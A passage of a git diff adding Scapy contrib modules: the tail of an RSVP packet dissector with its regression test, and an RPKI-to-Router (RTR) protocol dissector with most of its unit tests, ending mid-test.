it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = Resource Reservation Protocol (RSVP) +# scapy.contrib.status = loads + +from scapy.compat import chb +from scapy.packet import Packet, bind_layers +from scapy.fields import BitField, ByteEnumField, ByteField, FieldLenField, \ + IPField, ShortField, StrLenField, XByteField, XShortField +from scapy.layers.inet import IP, checksum + +rsvpmsgtypes = {0x01: "Path", + 0x02: "Reservation request", + 0x03: "Path error", + 0x04: "Reservation request error", + 0x05: "Path teardown", + 0x06: "Reservation teardown", + 0x07: "Reservation request acknowledgment" + } + + +class RSVP(Packet): + name = "RSVP" + fields_desc = [BitField("Version", 1, 4), + BitField("Flags", 1, 4), + ByteEnumField("Class", 0x01, rsvpmsgtypes), + XShortField("chksum", None), + ByteField("TTL", 1), + XByteField("dataofs", 0), + ShortField("Length", None)] + + def post_build(self, p, pay): + p += pay + if self.Length is None: + tmp_len = len(p) + tmp_p = p[:6] + chb((tmp_len >> 8) & 0xff) + chb(tmp_len & 0xff) + p = tmp_p + p[8:] + if self.chksum is None: + ck = checksum(p) + p = p[:2] + chb(ck >> 8) + chb(ck & 0xff) + p[4:] + return p + + +rsvptypes = {0x01: "Session", + 0x03: "HOP", + 0x04: "INTEGRITY", + 0x05: "TIME_VALUES", + 0x06: "ERROR_SPEC", + 0x07: "SCOPE", + 0x08: "STYLE", + 0x09: "FLOWSPEC", + 0x0A: "FILTER_SPEC", + 0x0B: "SENDER_TEMPLATE", + 0x0C: "SENDER_TSPEC", + 0x0D: "ADSPEC", + 0x0E: "POLICY_DATA", + 0x0F: "RESV_CONFIRM", + 0x10: "RSVP_LABEL", + 0x11: "HOP_COUNT", + 0x12: "STRICT_SOURCE_ROUTE", + 0x13: "LABEL_REQUEST", + 0x14: "EXPLICIT_ROUTE", + 0x15: "ROUTE_RECORD", + 0x16: "HELLO", + 0x17: "MESSAGE_ID", + 0x18: "MESSAGE_ID_ACK", + 0x19: "MESSAGE_ID_LIST", + 0x1E: "DIAGNOSTIC", + 0x1F: "ROUTE", + 0x20: "DIAG_RESPONSE", + 0x21: "DIAG_SELECT", + 0x22: "RECOVERY_LABEL", + 0x23: "UPSTREAM_LABEL", + 0x24: "LABEL_SET", + 0x25: "PROTECTION", + 0x26: "PRIMARY PATH ROUTE", + 0x2A: "DSBM IP ADDRESS", + 0x2B: "SBM_PRIORITY", + 0x2C: "DSBM TIMER INTERVALS", + 0x2D: "SBM_INFO", + 0x32: "S2L_SUB_LSP", + 0x3F: "DETOUR", + 0x40: "CHALLENGE", + 0x41: "DIFF-SERV", + 0x42: "CLASSTYPE", + 0x43: "LSP_REQUIRED_ATTRIBUTES", + 0x80: "NODE_CHAR", + 0x81: "SUGGESTED_LABEL", + 0x82: "ACCEPTABLE_LABEL_SET", + 0x83: "RESTART_CA", + 0x84: "SESSION-OF-INTEREST", + 0x85: "LINK_CAPABILITY", + 0x86: "Capability Object", + 0xA1: "RSVP_HOP_L2", + 0xA2: "LAN_NHOP_L2", + 0xA3: "LAN_NHOP_L3", + 0xA4: "LAN_LOOPBACK", + 0xA5: "TCLASS", + 0xC0: "TUNNEL", + 0xC1: "LSP_TUNNEL_INTERFACE_ID", + 0xC2: "USER_ERROR_SPEC", + 0xC3: "NOTIFY_REQUEST", + 0xC4: "ADMIN-STATUS", + 0xC5: "LSP_ATTRIBUTES", + 0xC6: "ALARM_SPEC", + 0xC7: "ASSOCIATION", + 0xC8: "SECONDARY_EXPLICIT_ROUTE", + 0xC9: "SECONDARY_RECORD_ROUTE", + 0xCD: "FAST_REROUTE", + 0xCF: "SESSION_ATTRIBUTE", + 0xE1: "DCLASS", + 0xE2: "PACKETCABLE EXTENSIONS", + 0xE3: "ATM_SERVICECLASS", + 0xE4: "CALL_OPS (ASON)", + 0xE5: "GENERALIZED_UNI", + 0xE6: "CALL_ID", + 0xE7: "3GPP2_Object", + 0xE8: "EXCLUDE_ROUTE" + } + + +class RSVP_Object(Packet): + name = "RSVP_Object" + fields_desc = [ShortField("Length", 4), + ByteEnumField("Class", 0x01, rsvptypes), + ByteField("C-Type", 1)] + + def guess_payload_class(self, payload): + if self.Class == 0x03: + return RSVP_HOP + elif self.Class == 0x05: + return RSVP_Time + elif self.Class == 0x0c: + return RSVP_SenderTSPEC + elif self.Class == 0x13: + return RSVP_LabelReq + elif self.Class == 0xCF: + return RSVP_SessionAttrb + else: + return RSVP_Data + + +class RSVP_Data(Packet): + name = "Data" + overload_fields = {RSVP_Object: {"Class": 0x01}} + fields_desc = [StrLenField("Data", "", length_from=lambda pkt:pkt.underlayer.Length - 4)] # noqa: E501 + + def default_payload_class(self, payload): + return RSVP_Object + + +class RSVP_HOP(Packet): + name = "HOP" + overload_fields = {RSVP_Object: {"Class": 0x03}} + fields_desc = [IPField("neighbor", "0.0.0.0"), + BitField("inface", 1, 32)] + + def default_payload_class(self, payload): + return RSVP_Object + + +class RSVP_Time(Packet): + name = "Time Val" + overload_fields = {RSVP_Object: {"Class": 0x05}} + fields_desc = [BitField("refresh", 1, 32)] + + def default_payload_class(self, payload): + return RSVP_Object + + +class RSVP_SenderTSPEC(Packet): + name = "Sender_TSPEC" + overload_fields = {RSVP_Object: {"Class": 0x0c}} + fields_desc = [ByteField("Msg_Format", 0), + ByteField("reserve", 0), + ShortField("Data_Length", 4), + ByteField("Srv_hdr", 1), + ByteField("reserve2", 0), + ShortField("Srv_Length", 4), + StrLenField("Tokens", "", length_from=lambda pkt:pkt.underlayer.Length - 12)] # noqa: E501 + + def default_payload_class(self, payload): + return RSVP_Object + + +class RSVP_LabelReq(Packet): + name = "Label Req" + overload_fields = {RSVP_Object: {"Class": 0x13}} + fields_desc = [ShortField("reserve", 1), + ShortField("L3PID", 1)] + + def default_payload_class(self, payload): + return RSVP_Object + + +class RSVP_SessionAttrb(Packet): + name = "Session_Attribute" + overload_fields = {RSVP_Object: {"Class": 0xCF}} + fields_desc = [ByteField("Setup_priority", 1), + ByteField("Hold_priority", 1), + ByteField("flags", 1), + FieldLenField("Name_length", None, length_of="Name"), + StrLenField("Name", "", length_from=lambda pkt:pkt.Name_length), # noqa: E501 + ] + + def default_payload_class(self, payload): + return RSVP_Object + + +bind_layers(IP, RSVP, {"proto": 46}) +bind_layers(RSVP, RSVP_Object) diff --git a/libs/scapy/contrib/rsvp.uts b/libs/scapy/contrib/rsvp.uts new file mode 100755 index 0000000..fdb078f --- /dev/null +++ b/libs/scapy/contrib/rsvp.uts @@ -0,0 +1,16 @@ +% Regression tests for the rsvp module + ++ Basic RSVP test + += Default build + +pkt = Ether()/IP()/RSVP()/RSVP_Object()/RSVP_SessionAttrb(Name="test") +pkt = Ether(raw(pkt)) +assert RSVP_SessionAttrb in pkt +assert pkt.Name == b"test" + += Master dissection + +pkt = Ether(b"\x00\x90\x92\x9d\x94\x01\x00\xd0c\xc3\xb8G\x08\x00E\x00\x00\x80\x8ad\x00\x00\xff.\x8c\xe7\xd2\x00\x00\x02\xd2\x00\x00\x01\x10\x02\xeb\xfa\xff\x00\x00l\x00\x10\x01\x07\x10\x02\x02\x02\x00\x00\x00\x01\x11\x03\x03\x03\x00\x0c\x03\x01\xd2\x00\x00\x02\x00\x00\x00\x00\x00\x08\x05\x01\x00\x00u0\x00\x08\x08\x01\x00\x00\x00\x12\x00$\t\x02\x00\x00\x00\x07\x05\x00\x00\x06\x7f\x00\x00\x05I\x18\x96\x80Dz\x00\x00\x7f\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\n\x07\x11\x03\x03\x03\x00\x00'\x11\x00\x08\x10\x01\x00\x00\x00\x10\x03\x06-\xad") +assert RSVP_Time in pkt +assert pkt[RSVP_Time].refresh == 30000 diff --git a/libs/scapy/contrib/rtr.py b/libs/scapy/contrib/rtr.py new file mode 100755 index 0000000..b891d52 --- /dev/null +++ b/libs/scapy/contrib/rtr.py @@ -0,0 +1,345 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# Copyright (C) 2018 Francois Contat + +# Based on RTR RFC 6810 https://tools.ietf.org/html/rfc6810 for version 0 +# Based on RTR RFC 8210 https://tools.ietf.org/html/rfc8210 for version 1 + +# scapy.contrib.description = The RPKI to Router Protocol +# scapy.contrib.status = loads + +# Start dev + +import struct + +from scapy.packet import Packet, bind_layers, Raw +from scapy.fields import ByteEnumField, ByteField, IntField, ShortField +from scapy.fields import IPField, IP6Field, StrLenField +from scapy.fields import FieldLenField +from scapy.fields import StrFixedLenField, ShortEnumField +from scapy.layers.inet import TCP +from scapy.compat import orb + +STATIC_SERIAL_NOTIFY_LENGTH = 12 +STATIC_SERIAL_QUERY_LENGTH = 12 +STATIC_RESET_QUERY_LENGTH = 8 +STATIC_CACHE_RESET_LENGTH = 8 +STATIC_CACHE_RESPONSE_LENGTH = 8 +STATIC_IPV4_PREFIX_LENGTH = 20 +STATIC_IPV6_PREFIX_LENGTH = 32 +STATIC_END_OF_DATA_V0_LENGTH = 12 +STATIC_END_OF_DATA_V1_LENGTH = 24 + +RTR_VERSION = {0: '0', + 1: '1'} + +PDU_TYPE = {0: 'Serial Notify', + 1: 'Serial Query', + 2: 'Reset Query', + 3: 'Cache Response', + 4: 'IPv4 Prefix', + 6: 'IPv6 Prefix', + 7: 'End of Data', + 8: 'Cache Reset', + 9: 'Router Key', + 10: 'Error Report', + 255: 'Reserved'} + +ERROR_LIST = {0: 'Corrupt Data', + 1: 'Internal Error', + 2: 'No data Available', + 3: 'Invalid Request', + 4: 'Unsupported Protocol Version', + 5: 'Unsupported PDU Type', + 6: 'Withdrawal of Unknown Record', + 7: 'Duplicate Announcement Received', + 8: 'Unexpected Protocol Version'} + + +class RTRSerialNotify(Packet): + + ''' + + Serial Notify packet from section 5.2 + https://tools.ietf.org/html/rfc6810#section-5.2 + + ''' + + name = 'Serial Notify' + fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), + ByteEnumField('pdu_type', 0, PDU_TYPE), + ShortField('session_id', 0), + IntField('length', STATIC_SERIAL_NOTIFY_LENGTH), + IntField('serial_number', 0)] + + +class RTRSerialQuery(Packet): + + ''' + + Serial Query packet from section 5.3 + https://tools.ietf.org/html/rfc6810#section-5.3 + + ''' + name = 'Serial Query' + fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), + ByteEnumField('pdu_type', 1, PDU_TYPE), + ShortField('session_id', 0), + IntField('length', STATIC_SERIAL_QUERY_LENGTH), + IntField('serial_number', 0)] + + +class RTRResetQuery(Packet): + + ''' + + Reset Query packet from section 5.4 + https://tools.ietf.org/html/rfc6810#section-5.4 + + ''' + name = 'Reset Query' + fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), + ByteEnumField('pdu_type', 2, PDU_TYPE), + ShortField('reserved', 0), + IntField('length', STATIC_RESET_QUERY_LENGTH)] + + +class RTRCacheResponse(Packet): + + ''' + + Cache Response packet from section 5.5 + https://tools.ietf.org/html/rfc6810#section-5.5 + + ''' + name = 'Cache Response' + fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), + ByteEnumField('pdu_type', 3, PDU_TYPE), + ShortField('session_id', 0), + IntField('length', STATIC_CACHE_RESPONSE_LENGTH)] + + def guess_payload_class(self, payload): + return RTR + + +class RTRIPv4Prefix(Packet): + + ''' + + IPv4 Prefix packet from section 5.6 + https://tools.ietf.org/html/rfc6810#section-5.6 + + ''' + name = 'IPv4 Prefix' + fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), + ByteEnumField('pdu_type', 4, PDU_TYPE), + ShortField('reserved', 0), + IntField('length', STATIC_IPV4_PREFIX_LENGTH), + ByteField('flags', 0), + ByteField('shortest_length', 0), + ByteField('longest_length', 0), + ByteField('zeros', 0), + IPField('prefix', '0.0.0.0'), + IntField('asn', 0)] + + def guess_payload_class(self, payload): + return RTR + + +class RTRIPv6Prefix(Packet): + + ''' + + IPv6 Prefix packet from section 5.7 + https://tools.ietf.org/html/rfc6810#section-5.7 + + ''' + name = 'IPv6 Prefix' + fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), + ByteEnumField('pdu_type', 6, PDU_TYPE), + ShortField('reserved', 0), + IntField('length', STATIC_IPV6_PREFIX_LENGTH), + ByteField('flags', 0), + ByteField('shortest_length', 0), + ByteField('longest_length', 0), + ByteField('zeros', 0), + IP6Field("prefix", "::"), + IntField('asn', 0)] + + def guess_payload_class(self, payload): + return RTR + + +class RTREndofDatav0(Packet): + + ''' + + End of Data packet from version 0 standard section 5.8 + https://tools.ietf.org/html/rfc6810#section-5.8 + + ''' + name = 'End of Data - version 0' + fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), + ByteEnumField('pdu_type', 7, PDU_TYPE), + ShortField('session_id', 0), + IntField('length', STATIC_END_OF_DATA_V0_LENGTH), + IntField('serial_number', 0)] + + +class RTREndofDatav1(Packet): + + ''' + + End of Data packet from version 1 standard section 5.8 + https://tools.ietf.org/html/rfc8210#section-5.8 + + ''' + name = 'End of Data - version 1' + fields_desc = [ByteEnumField('rtr_version', 1, RTR_VERSION), + ByteEnumField('pdu_type', 7, PDU_TYPE), + ShortField('session_id', 0), + IntField('length', STATIC_END_OF_DATA_V1_LENGTH), + IntField('serial_number', 0), + IntField('refresh_interval', 0), + IntField('retry_interval', 0), + IntField('expire_interval', 0)] + + +class RTRCacheReset(Packet): + + ''' + + Cache Reset packet from section 5.9 + https://tools.ietf.org/html/rfc6810#section-5.9 + + ''' + name = 'Reset Query' + fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), + ByteEnumField('pdu_type', 8, PDU_TYPE), + ShortField('reserved', 0), + IntField('length', STATIC_CACHE_RESET_LENGTH)] + + +class RTRRouterKey(Packet): + + ''' + + Router Key packet from version 1 standard section 5.10 + https://tools.ietf.org/html/rfc8210#section-5.10 + + ''' + name = 'Router Key' + fields_desc = [ByteEnumField('rtr_version', 1, RTR_VERSION), + ByteEnumField('pdu_type', 9, PDU_TYPE), + ByteField('flags', 0), + ByteField('zeros', 0), + IntField('length', None), + StrFixedLenField('subject_key_identifier', '', 20), + IntField('asn', 0), + StrLenField('subject_PKI', '', + length_from=lambda x: x.length - 32)] + + def post_build(self, pkt, pay): + temp_len = len(pkt) + 2 + if not self.length: + pkt = pkt[:2] + struct.pack('!I', temp_len) + pkt[6:] + return pkt + pay + + +class RTRErrorReport(Packet): + + ''' + + Error Report packet from section 5.10 + https://tools.ietf.org/html/rfc6810#section-5.10 + + ''' + name = 'Error Report' + fields_desc = [ByteEnumField('rtr_version', 0, RTR_VERSION), + ByteEnumField('pdu_type', 10, PDU_TYPE), + ShortEnumField('error_code', 0, ERROR_LIST), + IntField('length', None), + FieldLenField('length_of_encaps_PDU', + None, fmt='!I', length_of='erroneous_PDU'), + StrLenField('erroneous_PDU', '', + length_from=lambda x: x.length_of_encaps_PDU), + FieldLenField('length_of_error_text', None, fmt='!I', + length_of='error_text'), + StrLenField('error_text', '', + length_from=lambda x: x.length_of_error_text)] + + def post_build(self, pkt, pay): + temp_len = len(pkt) + 2 + if not self.length: + pkt = pkt[:2] + struct.pack('!I', temp_len) + pkt[6:] + return pkt + pay + + +PDU_CLASS_VERSION_0 = {0: RTRSerialNotify, + 1: RTRSerialQuery, + 2: RTRResetQuery, + 3: RTRCacheResponse, + 4: RTRIPv4Prefix, + 6: RTRIPv6Prefix, + 7: RTREndofDatav0, + 8: RTRCacheReset, + 10: RTRErrorReport} + +PDU_CLASS_VERSION_1 = {0: RTRSerialNotify, + 1: RTRSerialQuery, + 2: RTRResetQuery, + 3: RTRCacheResponse, + 4: RTRIPv4Prefix, + 6: RTRIPv6Prefix, + 7: RTREndofDatav1, + 8: RTRCacheReset, + 9: RTRRouterKey, + 10: RTRErrorReport} + + +class RTR(Packet): + + ''' + Dummy RPKI to Router generic packet for pre-sorting the packet type + eg. https://tools.ietf.org/html/rfc6810#section-5.2 + + ''' + name = 'RTR dissector' + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + ''' + Attribution of correct type depending on version and pdu_type + ''' + if _pkt and len(_pkt) >= 2: + version = orb(_pkt[0]) + pdu_type = orb(_pkt[1]) + if version == 0: + return PDU_CLASS_VERSION_0[pdu_type] + elif version == 1: + return PDU_CLASS_VERSION_1[pdu_type] + return Raw + + +bind_layers(TCP, RTR, dport=323) # real reserved port +bind_layers(TCP, RTR, sport=323) # real reserved port +bind_layers(TCP, RTR, dport=8282) # RIPE implementation default port +bind_layers(TCP, RTR, sport=8282) # RIPE implementation default port +bind_layers(TCP, RTR, dport=2222) # gortr implementation default port +bind_layers(TCP, RTR, sport=2222) # gortr implementation default port + +if __name__ == '__main__': + from scapy.main import interact + interact(mydict=globals(), mybanner='RPKI to Router') diff --git a/libs/scapy/contrib/rtr.uts b/libs/scapy/contrib/rtr.uts new file mode 100755 index 0000000..2a7b78f --- /dev/null +++ b/libs/scapy/contrib/rtr.uts @@ -0,0 +1,242 @@ ++ RTR Serial Notify + +from scapy.consts import WINDOWS +if WINDOWS: + route_add_loopback() + += default instantiation + +pkt = IP()/TCP(dport=323)/RTRSerialNotify() +raw(pkt) == b'E\x00\x004\x00\x01\x00\x00@\x06|\xc1\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x90q\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00' + += default values build + +pkt = IP()/TCP(dport=323)/RTRSerialNotify() +RTRSerialNotify in pkt and pkt.rtr_version == 0 and pkt.pdu_type == 0 and pkt.session_id == 0 and pkt.length == 12 and pkt.serial_number == 0 + + += filled values build + +pkt = IP()/TCP(dport=323)/RTRSerialNotify(session_id=12345, length=12, serial_number=789) +raw(pkt) == b'E\x00\x004\x00\x01\x00\x00@\x06|\xc1\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00]#\x00\x00\x00\x0009\x00\x00\x00\x0c\x00\x00\x03\x15' + += dissection + +pkt = Ether(b'\x00\x16>\xa9\x04\x1a\x84x\xac[\x82\xc2\x08\x00E\x00\x16\xd4\xb9\xa5@\x005\x06\x93\xd5\x8d\x16\x1c\xdc\xb9\x1a~\x9c Z\xcb\xa2\nF2`J\xe2\x8c\xc0\x80\x10\x00\xe3\xf8o\x00\x00\x01\x01\x08\n\xeaX\x9f\x82\x81\xfb\xc4\n\x00\x00\x00\x00\x00\x00\xcc!\x00\x04\x00\x00') +pkt.session_id == 0 and pkt.length == 52257 and pkt.serial_number == 262144 + ++ RTR Serial Query + += default instantiation + +pkt = IP()/TCP(dport=323)/RTRSerialQuery() +raw(pkt) == b'E\x00\x004\x00\x01\x00\x00@\x06|\xc1\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x90p\x00\x00\x00\x01\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00' + + += default values build + +pkt = IP()/TCP(dport=323)/RTRSerialQuery() +RTRSerialQuery in pkt and pkt.rtr_version == 0 and pkt.pdu_type == 1 and pkt.session_id == 0 and pkt.length == 12 and pkt.serial_number == 0 + + += filled values build + +pkt = IP()/TCP(dport=323)/RTRSerialQuery(session_id=17, length=12, serial_number=55463) +raw(pkt) == b'E\x00\x004\x00\x01\x00\x00@\x06|\xc1\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xb7\xb7\x00\x00\x00\x01\x00\x11\x00\x00\x00\x0c\x00\x00\xd8\xa7' + += dissection + +pkt = Ether(b'\x00\x07\xb4\x00+\x02\x00\x16>\xa9\x04\x1a\x08\x00E\x00\x00@I2@\x00@\x06\x0f\xdd\xb9\x1a~\x9c\x8d\x16\x1c\xdc\xcb\xa2 ZJ\xe2\x8c\xc0\nR\xdbD\x80\x18\x05#\xe1\xdb\x00\x00\x01\x01\x08\n\x81\xfb\xcf\xca\xeaX\xcd\x92\x00\x01\x13/\x00\x00\x00\x0c\x00\x00\x81\x7f') +pkt.session_id == 4911 and pkt.length == 12 and pkt.serial_number == 33151 + ++ RTR Reset Query + += default instantiation + +pkt = IP()/TCP(dport=323)/RTRResetQuery() +raw(pkt) == b'E\x00\x000\x00\x01\x00\x00@\x06|\xc5\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x90w\x00\x00\x00\x02\x00\x00\x00\x00\x00\x08' + += default values build + +pkt = IP()/TCP(dport=323)/RTRResetQuery() +RTRResetQuery in pkt and pkt.reserved == 0 and pkt.length == 8 + +#= filled values build - nonsense test + += dissection + +pkt = Ether(b"\x00\x07\xb4\x00+\x02\x00\x16>\xa9\x04\x1a\x08\x00E\x00\x00\xa9\x04\x1a\x84x\xac[\x82\xc2\x08\x00E\x00\x0b\x84\xb9\xa3@\x005\x06\x9f'\x8d\x16\x1c\xdc\xb9\x1a~\x9c Z\xcb\xa2\nF'\x10J\xe2\x8c\xc0\x80\x10\x00\xe3\xed\x1f\x00\x00\x01\x01\x08\n\xeaX\x9f\x82\x81\xfb\xc4\n\x00\x03\x13/\x00\x00\x00\x08") +pkt.session_id == 4911 and pkt.length == 8 + ++ RTR IPv4 Prefix + += default instantiation + +pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTRIPv4Prefix() +raw(pkt) == b'E\x00\x00D\x00\x01\x00\x00@\x06|\xb1\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x90J\x00\x00\x00\x03\x00\x00\x00\x00\x00\x08\x00\x04\x00\x00\x00\x00\x00\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + += default values build + +pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTRIPv4Prefix() +RTRIPv4Prefix in pkt and pkt.shortest_length == 0 and pkt.longest_length == 0 and pkt.prefix == "0.0.0.0" and pkt.asn == 0 + += filled values build + +pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTRIPv4Prefix(prefix="192.0.2.0", asn=45000, shortest_length=20, longest_length=20) +raw(pkt) == b'E\x00\x00D\x00\x01\x00\x00@\x06|\xb1\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\nm\x00\x00\x00\x03\x00\x00\x00\x00\x00\x08\x00\x04\x00\x00\x00\x00\x00\x14\x00\x14\x14\x00\xc0\x00\x02\x00\x00\x00\xaf\xc8' + += dissection + +pkt = Ether(b"\x00\x16>\xa9\x04\x1a\x84x\xac[\x82\xc2\x08\x00E\x00\x0b\x84\xb9\xa3@\x005\x06\x9f'\x8d\x16\x1c\xdc\xb9\x1a~\x9c Z\xcb\xa2\nF'\x10J\xe2\x8c\xc0\x80\x10\x00\xe3\xed\x1f\x00\x00\x01\x01\x08\n\xeaX\x9f\x82\x81\xfb\xc4\n\x00\x03\x13/\x00\x00\x00\x08\x00\x04\x00\x00\x00\x00\x00\x14\x01\x13\x13\x00Y\xb9\xe0\x00\x00\x00a\x8b") +pkt.asn == 24971 and pkt.prefix == "89.185.224.0"and pkt.shortest_length == 19 and pkt.longest_length == 19 + + ++ RTR IPv6 Prefix + += default instantiation + +pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTRIPv6Prefix() +raw(pkt) == b'E\x00\x00P\x00\x01\x00\x00@\x06|\xa5\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x900\x00\x00\x00\x03\x00\x00\x00\x00\x00\x08\x00\x06\x00\x00\x00\x00\x00 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + += default value build + +pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTRIPv6Prefix() +RTRIPv6Prefix in pkt and pkt.shortest_length == 0 and pkt.longest_length == 0 and pkt.prefix == "::" and pkt.asn == 0 + += filled values build + +pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTRIPv6Prefix(prefix="2001:db8::", asn=45000, shortest_length=32, longest_length=32) +pkt.prefix == "2001:db8::" and pkt.asn == 45000 and pkt.shortest_length == 32 and pkt.longest_length == 32 + += dissection + +pkt = Ether(b"\x00\x16>\xa9\x04\x1a\x84x\xac[\x82\xc2\x08\x00E\x00\x0b\x84\xb9\xa3@\x005\x06\x9f'\x8d\x16\x1c\xdc\xb9\x1a~\x9c Z\xcb\xa2\nF'\x10J\xe2\x8c\xc0\x80\x10\x00\xe3\xed\x1f\x00\x00\x01\x01\x08\n\xeaX\x9f\x82\x81\xfb\xc4\n\x00\x03\x13/\x00\x00\x00\x08\x00\x06\x00\x00\x00\x00\x00 \x01 \x00*\x03\xcd\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00?\xe2") +pkt.prefix == "2a03:cd80::" and pkt.asn == 16354 and pkt.shortest_length == 32 and pkt.longest_length == 32 + ++ RTR End of Data version 0 + += default instantiation + +pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTREndofDatav0() +raw(pkt) == b'E\x00\x00<\x00\x01\x00\x00@\x06|\xb9\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x90W\x00\x00\x00\x03\x00\x00\x00\x00\x00\x08\x00\x07\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00' + += default values build + +pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTREndofDatav0() +RTREndofDatav0 in pkt and pkt.session_id == 0 and pkt.serial_number == 0 + += filled values build + +pkt = IP()/TCP(dport=323)/RTRCacheResponse(session_id=12345)/RTREndofDatav0(session_id=12345, serial_number=17) +pkt.serial_number == 17 and pkt.session_id == 12345 + += dissection + +pkt = IP(b'E\x00\x00<\x00\x01\x00\x00@\x06|\xb9\x7f\x00\x00\x01\x7f\x00\x00\x01 Z\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x0f\x8e\x00\x00\x00\x0309\x00\x00\x00\x08\x00\x0709\x00\x00\x00\x0c\x00\x00\x00\x11') +RTREndofDatav0 in pkt and pkt.serial_number == 17 and pkt.session_id == 12345 + ++ RTR End of Data version 1 + += default instantiation + +pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTREndofDatav1() +raw(pkt) == b'E\x00\x00H\x00\x01\x00\x00@\x06|\xad\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x8f?\x00\x00\x00\x03\x00\x00\x00\x00\x00\x08\x01\x07\x00\x00\x00\x00\x00\x18\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' + += default values build + +pkt = IP()/TCP(dport=323)/RTRCacheResponse()/RTREndofDatav1() +RTREndofDatav1 in pkt and pkt.session_id == 0 and pkt.serial_number == 0 and pkt.refresh_interval == 0 and pkt.retry_interval == 0 and pkt.expire_interval == 0 + += filled values build + +pkt = IP()/TCP(dport=323)/RTRCacheResponse(session_id=12345)/RTREndofDatav1(session_id=12345, serial_number=17, refresh_interval=500 , retry_interval=200, expire_interval=1800) +pkt.serial_number == 17 and pkt.session_id == 12345 + += dissection + +pkt = IP(b'E\x00\x00H\x00\x01\x00\x00@\x06|\xad\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00$\xf8\x00\x00\x00\x0309\x00\x00\x00\x08\x01\x0709\x00\x00\x00\x18\x00\x00\x00\x11\x00\x00\x01\xf4\x00\x00\x00\xc8\x00\x00\x07\x08') +RTREndofDatav1 in pkt and pkt.serial_number == 17 and pkt.session_id == 12345 + ++ RTR Cache Reset + += default instantiation + +pkt = IP()/TCP(dport=323)/RTRCacheReset() +raw(pkt) == b'E\x00\x000\x00\x01\x00\x00@\x06|\xc5\x7f\x00\x00\x01\x7f\x00\x00\x01\x00\x14\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x90q\x00\x00\x00\x08\x00\x00\x00\x00\x00\x08' + += default values build + +pkt = IP()/TCP(dport=323)/RTRCacheReset() +RTRCacheReset in pkt and pkt.reserved == 0 + +#= filled values build - nonsense test + += dissection + +pkt = Ether(b'\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x08\x00E\x00\x000\x00\x01\x00\x00@\x06|\xc5\x7f\x00\x00\x01\x7f\x00\x00\x01 Z\x01C\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00p+\x00\x00\x00\x08\x00\x00\x00\x00\x00\x08') +RTRCacheReset in pkt and pkt.reserved == 0 + ++ RTR Router Key + += default instantiation + +pkt = IP()/TCP(dport=323)/RTRRouterKey() +raw(pkt) == 